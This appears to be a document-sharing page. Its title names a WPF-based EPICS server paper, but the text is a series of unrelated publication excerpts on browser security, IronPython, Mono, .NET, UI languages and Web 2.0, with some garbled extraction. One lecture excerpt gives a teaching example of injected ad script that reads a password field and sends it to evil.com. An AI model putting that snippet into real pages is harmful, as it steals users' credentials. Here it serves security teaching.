Wpf Based Epics Server and Its Application in Csns
Total Page:16
File Type:pdf, Size:1020Kb
Load more
Recommended publications
-
Browser Code Isolation
CS 155 Spring 2014 Browser code isolation John Mitchell Modern web sites are complex Modern web “site” Code from many sources Combined in many ways Sites handle sensitive information ! Financial data n" Online banking, tax filing, shopping, budgeting, … ! Health data n" Genomics, prescriptions, … ! Personal data n" Email, messaging, affiliations, … Others want this information ! Financial data n" Black-hat hackers, … ! Health data n" Insurance companies, … ! Personal data n" Ad companies, big government, … Modern web “site” Code from many sources Combined in many ways Basic questions ! How do we isolate code from different sources n" Protecting sensitive information in browser n" Ensuring some form of integrity n" Allowing modern functionality, flexible interaction Example:Library ! Library included using tag n" <script src="jquery.js"></script> ! No isolation n" Same frame, same origin as rest of page ! May contain arbitrary code n" Library developer error or malicious trojan horse n" Can redefine core features of JavaScript n" May violate developer invariants, assumptions jQuery used by 78% of the Quantcast top 10,000 sites, over 59% of the top million Second example: advertisement <script src=“https://adpublisher.com/ad1.js”></script> <script src=“https://adpublisher.com/ad2.js”></script>! ! Read password using the DOM API var c = document.getElementsByName(“password”)[0] Directly embedded third-party JavaScript poses a threat to critical hosting page resources Send it to evil location (not subject to SOP) <img src=``http::www.evil.com/info.jpg?_info_”> -
Ironpython in Action
IronPytho IN ACTION Michael J. Foord Christian Muirhead FOREWORD BY JIM HUGUNIN MANNING IronPython in Action Download at Boykma.Com Licensed to Deborah Christiansen <[email protected]> Download at Boykma.Com Licensed to Deborah Christiansen <[email protected]> IronPython in Action MICHAEL J. FOORD CHRISTIAN MUIRHEAD MANNING Greenwich (74° w. long.) Download at Boykma.Com Licensed to Deborah Christiansen <[email protected]> For online information and ordering of this and other Manning books, please visit www.manning.com. The publisher offers discounts on this book when ordered in quantity. For more information, please contact Special Sales Department Manning Publications Co. Sound View Court 3B fax: (609) 877-8256 Greenwich, CT 06830 email: [email protected] ©2009 by Manning Publications Co. All rights reserved. No part of this publication may be reproduced, stored in a retrieval system, or transmitted, in any form or by means electronic, mechanical, photocopying, or otherwise, without prior written permission of the publisher. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in the book, and Manning Publications was aware of a trademark claim, the designations have been printed in initial caps or all caps. Recognizing the importance of preserving what has been written, it is Manning’s policy to have the books we publish printed on acid-free paper, and we exert our best efforts to that end. Recognizing also our responsibility to conserve the resources of our planet, Manning books are printed on paper that is at least 15% recycled and processed without the use of elemental chlorine. -
Opening Presentation
Mono Meeting. Miguel de Icaza [email protected] October 24, 2006 Mono, Novell and the Community. Mono would not exist without the community: • Individual contributors. • Companies using Mono. • Organizations using Mono. • Companies using parts of Mono. • Google Summer of Code. Introductions. 2 Goals of the Meeting. A chance to meet. • Most of the Novell/Mono team is here. • Many contributors are here. • Various breaks to talk. Talk to others! • Introduce yourself, ask questions. Talk to us! • Frank Rego, Mono's Product Manager is here. • Tell us what you need in Mono. • Tell us about how you use Mono. 3 Project Status Goals Originally: • Improve our development platform on Linux. As the community grew: • Expand to support Microsoft APIs. As Mono got more complete: • Provide a complete cross platform runtime. • Allow Windows developers to port to Linux. 5 Mono Stacks and Goals. MySMQySQLL//PPosstgtrgesrsess EvEovolluutitioonn# # ASP.NET Novell APIs: MMoozzillala Novell iFolder iFolder, LDAP, Identity ADO.NET ApAapchachee MMonoono DesktoGpTK#: GTK# OpNoevenlOl LfDfAiPce GCneomceil# Windows.Forms JavaJa vCa oCommpaatitbilbitiylity Google APIs Microsoft Compatibility Libraries Mono Libraries Mono Runtime (Implementation of ECMA #335) 6 Platforms, CIL, Code Generation. 7 API space Mono 1.0: July 2004 “T-Bone” Mono 1.2: November 2006 “Rump steak” Mono 1.2 bits. Reliability and C# 2.0, .NET 2.0 scalability: • Complete. • With VM support. • ZenWorks and iFolder • Some 2.0 API support. pushed Mono on the server. • IronPython works. • xsp 1.0: 8 request/second. • xsp 1.2: 250 Debugger: request/second. • x86 and x86-64 debugger. GUI • CLI-only, limited in scenarios (no xsp). -
Comparison of Common Xml-Based Web User Interface Languages
Journal of Web Engineering, Vol. 9, No. 2 (2010) 095–115 c Rinton Press COMPARISON OF COMMON XML-BASED WEB USER INTERFACE LANGUAGES MIKKO POHJA Department of Media Technology, Aalto University P.O. Box 15400, FI-00076 Aalto, Finland mikko.pohja@hut.fi Received August 1, 2009 Revised February 25, 2010 In addition to being a platform for information access, the World Wide Web is increas- ingly becoming an application platform. While web applications have several benefits compared to desktop applications, there are also some problems. With legacy HTML, for example, one cannot produce user interfaces such as those that users have become accustomed to with desktop applications. What worked for static documents is not suf- ficient for the complicated web applications of today. Several parties have addressed this problem by defining a specific UI description language. In addition, the renewal of HTML aims to enhance support for web applications. This study evaluated five XML- based UI description formats, including HTML 5, in order to determine which language is best suited for modern web application development. The study also assessed what kind of applications are suited to each format. The requirements for a Web UI descrip- tion language from the literature were revised and three use cases were defined, through which the languages are evaluated. The paper also presents the model differences of the languages. Keywords: Web User Interface Description Language, Web Application Communicated by: D. Lowe & O. Pastor 1 Introduction Commerce and communication tasks, such as the use of e-mail, are common today on the World Wide Web (WWW), as is a trend towards realizing higher interaction tasks, such as in- formation authoring. -
Kinect Based Painter
PiccasoNect – - Kinect based Painter Introduction Kinect is a line of motion sensing input devices by Microsoft for Xbox 360 and Xbox One video game consoles and Windows PCs. Based around a webcam-style add-on peripheral, it enables users to control and interact with their console/computer without the need for a game controller, through a natural user interface using gestures and spoken commands. Kinect sensor is based on Prime-Sense technology and there are similar sensors on the market such as Asus Xtion and PrimeSense Carmine. (http://en.wikipedia.org/wiki/Kinect) Windows Presentation Foundation (or WPF) is a graphical subsystem for rendering user interfaces in Windows-based applications by Microsoft. WPF attempts to provide a consistent programming model for building applications and separates the user interface from business logic. It resembles similar XML-oriented object models, such as those implemented in XUL and SVG. (http://en.wikipedia.org/wiki/Windows_Presentation_Foundation) Overview In the project we developed a WPF application which allows the user to create a painting using his hands with minimal interactions with the mouse and keyboard. Using the Kinect, the application follows the user's hands movements, and translates them to a brush strokes. The application allows the user to select a brush from several rendering methods. Application requirements Capture user movements using Kinect sensor Paint the desired brush according to the user hands movements Enable several rendering options to choose from Option to save and send via email the finished painting Project Infrastructure The project is A WPF application, based on Microsoft Kinect SDK 1.7. -
Multi-Platform User Interface Construction – a Challenge for Software Engineering-In-The-Small
Multi-platform User Interface Construction – A Challenge for Software Engineering-in-the-Small Judith Bishop Department of Computer Science University of Pretoria Pretoria 0002 South Africa [email protected] ABSTRACT The popular view of software engineering focuses on managing 1. INTRODUCTION teams of people to produce large systems. This paper addresses a 1.1 Software engineering different angle of software engineering, that of development for Software engineering as a discipline is perceived as tackling re-use and portability. We consider how an essential part of computing in-the-large. It elevates tools and techniques from the most software products – the user interface – can be successfully level of a craft, to where they can be efficiently and reproducibly engineered so that it can be portable across multiple platforms harnessed for the successful completion of large projects. and on multiple devices. Our research has identified the structure of the problem domain, and we have filled in some of Thirty years ago in 1975, Fred Brooks introduced us to the the answers. We investigate promising solutions from the mythical man month of software development [Brooks 1975] model-driven frameworks of the 1990s, to modern XML-based and followed this with the “no silver bullet” paper, in which he specification notations (Views, XUL, XIML, XAML), multi- talked about software engineering as being a process of building platform toolkits (Qt and Gtk), and our new work, Mirrors software with “specifications, assembly of components, and which pioneers reflective libraries. The methodology on which scaffolding” [Brooks 1987]. Boehm, too, found in 1976 that Views and Mirrors is based enables existing GUI libraries to be software engineering was, encouragingly, concentrating on the transported to new operating systems. -
Why and How to Migrate from .NET to .NET Core. - Oliver Ray, Managing Director @ Number8
Why and How to Migrate from .NET to .NET Core. - Oliver Ray, Managing Director @ number8 There’s no time like the present when it comes to paying down technical debt, investing in high-value features, and keeping up with development house-keeping. These practices allow development velocity to skyrocket. And For most companies still utilizing .NET, migrating to .NET Core is the most impactful technical investment they can make right now. This transition will simplify your teams’ development cycles and have a measurable impact on your bottom-line. However, it can also include unforeseen complexities and dependencies, so it’s crucial that the planning and prep work is done throughly. Our team at number8 took the time to detail a few high-level benefits that every team should consider during this transition. So, let’s get started. Why migrate from .NET to .NET Core? .NET Core 1.0 was announced in 2014 and aimed to bring the .NET framework into the open source world. The ultimate goal of this initiative was to make .NET projects more portable to other platforms. With the explosion of commodity platforms like Linux and ARM64 processors, .NET had to become more open to survive. From it’s initial release .NET Core has continued to evolve to leverage a wide range of technologies that allow teams to develop systems in whatever way they see fit. A significant example of this forward thinking was early support for Docker containers and Kubernetes. Teams Start Planning everywhere are trying to rethink core enterprise Now applications to fully see the benefit of cloud tooling. -
Crossplatform ASP.NET with Mono
CrossPlatform ASP.NET with Mono Daniel López Ridruejo [email protected] About me Open source: Original author of mod_mono, Comanche, several Linux Howtos and the Teach Yourself Apache 2 book Company: founder of BitRock, multiplatform installers and management software About this presentation The .NET framework An overview of Mono, a multiplatform implementation of the .NET framework mod_mono : run ASP.NET on Linux using Apache and Mono The Microsoft .Net initiative Many things to many people, we are interested in a subset: the .NET framework Common Language Runtime execution environment Comprehensive set of class libraries As other technologies, greatly hyped. But is a solid technical foundation that stands on its own merits The .NET Framework .NET Highlights (1) Common Language Runtime : Provides garbage collection, resource management, threads, JIT support and so on. Somewhat similar to JVM Common Intermediate Language, multiple language support: C#, Java, Visual Basic, C++, JavaScript, Perl, Python, Eiffel, Fortran, Scheme, Pascal Cobol… They can interoperate and have access to full .NET capabilities. Similar to Java bytecode .NET Highlights (2) Comprehensive Class Library: XML, ASP.NET, Windows Forms, Web Services, ADO.NET Microsoft wants .NET to succeed in other platforms: standardization effort at ECMA, Rotor sample implementation. P/Invoke: Easy to incorporate and interoperate with existing code Attributes, delegates, XML everywhere Mono Project Open Source .NET framework implementation. Covers ECMA standard plus -
Javascript: a Beginner’S Guide, Fourth Edition / Pollock / 937-6 / Front Matter Blind Folio: I
www.allitebooks.com BeginNew-Tight / JavaScript: A Beginner’s Guide, Fourth Edition / Pollock / 937-6 / Front Matter Blind Folio: i JavaScript A Beginner’s Guide Fourth Edition John Pollock New York Chicago San Francisco Lisbon London Madrid Mexico City Milan New Delhi San Juan Seoul Singapore Sydney Toronto www.allitebooks.com 00-FM.indd 1 3/12/13 1:53 PM BeginNew-Tight / JavaScript: A Beginner’s Guide, Fourth Edition / Pollock / 937-6 Copyright © 2013 by The McGraw-Hill Companies. All rights reserved. Except as permitted under the United States Copyright Act of 1976, no part of this publication may be reproduced or distributed in any form or by any means, or stored in a database or retrieval system, without the prior written permission of the publisher, with the exception that the program listings may be entered, stored, and executed in a computer system, but they may not be reproduced for publication. ISBN: 9780071809382 MHID: 0071809384 The material in this e-book also appears in the print version of this title: ISBN: 978-0-07-180937-5, MHID: 0-07-180937-6 McGraw-Hill e-books are available at special quantity discounts to use as premiums and sales promotions, or for use in corporate training programs. To contact a representative please e-mail us at [email protected]. All trademarks are trademarks of their respective owners. Rather than put a trademark symbol after every occurrence of a trademarked name, we use names in an editorial fashion only, and to the benefit of the trademark owner, with no intention of infringement of the trademark. -
Programming with Windows Forms
A P P E N D I X A ■ ■ ■ Programming with Windows Forms Since the release of the .NET platform (circa 2001), the base class libraries have included a particular API named Windows Forms, represented primarily by the System.Windows.Forms.dll assembly. The Windows Forms toolkit provides the types necessary to build desktop graphical user interfaces (GUIs), create custom controls, manage resources (e.g., string tables and icons), and perform other desktop- centric programming tasks. In addition, a separate API named GDI+ (represented by the System.Drawing.dll assembly) provides additional types that allow programmers to generate 2D graphics, interact with networked printers, and manipulate image data. The Windows Forms (and GDI+) APIs remain alive and well within the .NET 4.0 platform, and they will exist within the base class library for quite some time (arguably forever). However, Microsoft has shipped a brand new GUI toolkit called Windows Presentation Foundation (WPF) since the release of .NET 3.0. As you saw in Chapters 27-31, WPF provides a massive amount of horsepower that you can use to build bleeding-edge user interfaces, and it has become the preferred desktop API for today’s .NET graphical user interfaces. The point of this appendix, however, is to provide a tour of the traditional Windows Forms API. One reason it is helpful to understand the original programming model: you can find many existing Windows Forms applications out there that will need to be maintained for some time to come. Also, many desktop GUIs simply might not require the horsepower offered by WPF. -
NET Core: from Architecture to Code
.NET Core: from architecture to code Raffaele Rialdi @raffaeler [email protected] http://iamraf.net Big, big thanks to the Sponsors!!! About myself ... ▪ I started working professionally with software in 1987 ▪ In 2003 I received my first MVP Award (I got my 14th few days ago!) ▪ In a couple of weeks I will attend the MVP Summit in Redmond ▪ I am a Senior Software Architect ▪ Working as both as consultant and driving a a software division in Vevy Europe ▪ I have a lot of fun with exciting projects: ▪ Financial, Racing, Manufacturing, ... ▪ I have been in Romania several times ▪ «Visual Studio 2010 Launch» Keynote in Bucharest ▪ Regular speaker in ITCamp @ Cluj Napoca since 2012 Rationale for re-architecting the .NET Framework ▪ Rebuild the .NET platform to reach new goals ▪ Cross-platform: we live in an etherogeneous world ▪ Remove global dependencies: making xcopy work everywhere ▪ better versioning, side-by-side deployment ▪ Easier load balancing and designing scalable apps ▪ Getting better performance from modern hardware ▪ No compromises ▪ But looking for the lowest possible breaking changes .NET Framework (versions 1.0 to 4.62) ▪ 15 years, 1.8 billion installations VB C++ C# F# … ▪ Multiple codebase/flavors Common Language Specification .NET Framework ▪ Desktop, Silverlight Ado.net Asp.net Winform WPF ... ▪ x86 - Windows Base Class Library (BCL) ▪ Compact Framework ▪ ARM – Windows CE Common Language Runtime (CLR) ▪ Micro Framework ▪ ARM Duplicated BCL Codebase .NET ▪ Non-Microsoft .NET Mono ▪ Mono / Xamarin & ▪ Linux, iOS, MacOS, -
Desarrollando Web 2.0 Con JAVA EE 5 Jaime Cid Arquitecto De Soluciones WEB Y SOA Sun Microsystems AGENDA
Desarrollando Web 2.0 con JAVA EE 5 Jaime Cid Arquitecto de Soluciones WEB y SOA Sun Microsystems http://blogs.sun.com/jaimecid AGENDA 1 – Nuevas olas tecnológicas 2 – Web 2.0 3 – Web 2.0 & Open Source 4 – Tecnologías Web 2.0 5 – AJAX 6 – AJAX con Java EE (J2EE) 7 – Java EE 5 Cabalgando sobre las olas • En la industria de la informatica y las comunicaciones se producen sucesivas olas tecnologicas que de cogerse en el momento oportuno proporcionan una ventana de oportunidad a personas y empresas. Por ello siempre hay que mirar el horizonte y esperar que llega una buena ola, para intentar subirse y que te lleve hasta la orilla. Nuevas Olas Tecnológicas • Virtualización • Computación distribuida, Grid • Web 2.0 • Web Semántica • Open Source • SOA Web 2.0 web 1.0 = read web 2.0 = read/write La era de la participación Todos contribuyendo en la Web ¿Qué es Web 2.0? • La Web como plataforma > El navegador pasa a ser la única aplicación > Correo, Calendario, Contactos, Fotos, Ofimática > El usuario sube y almacena contenido en la Web • Inteligencia Colectiva (Folksonomy) > Categorización colaborativa basada en etiquetas (tags) > La opinión de los usuarios cuenta y mucho. • La información se comparte y se combina > Agregación de datos de diferentes fuentes (Mashups) • Interfaz de usuario equivalente al escritorio > AJAX Web 1.0 --> Web 2.0 • DoubleClick --> Google AdSense • Ofoto --> Flickr • Akamai --> BitTorrent • Britannica Online --> Wikipedia • personal websites --> blogging • domain name speculation --> search engine optimization • page